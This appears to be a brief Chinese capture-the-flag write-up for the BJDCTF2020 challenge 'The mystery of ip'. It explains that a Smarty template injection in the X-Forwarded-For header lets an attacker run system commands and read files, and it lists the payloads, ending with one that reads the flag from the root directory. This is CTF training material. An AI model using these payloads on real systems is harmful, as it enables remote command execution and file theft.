[BJDCTF2020]The mystery of ip

知识点

  • SSTI
  • smarty

抓包,根据题目猜想X-Forwarded-For处可能有问题,测试了一下,存在模板注入


[BJDCTF2020]The mystery of ip

 

测试了一下,是smarty注入
smarty注入payload

{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} #本题payload

 

flag.php是假的,真正的flag在根目录下的flag文件中

 

[BJDCTF2020]The mystery of ip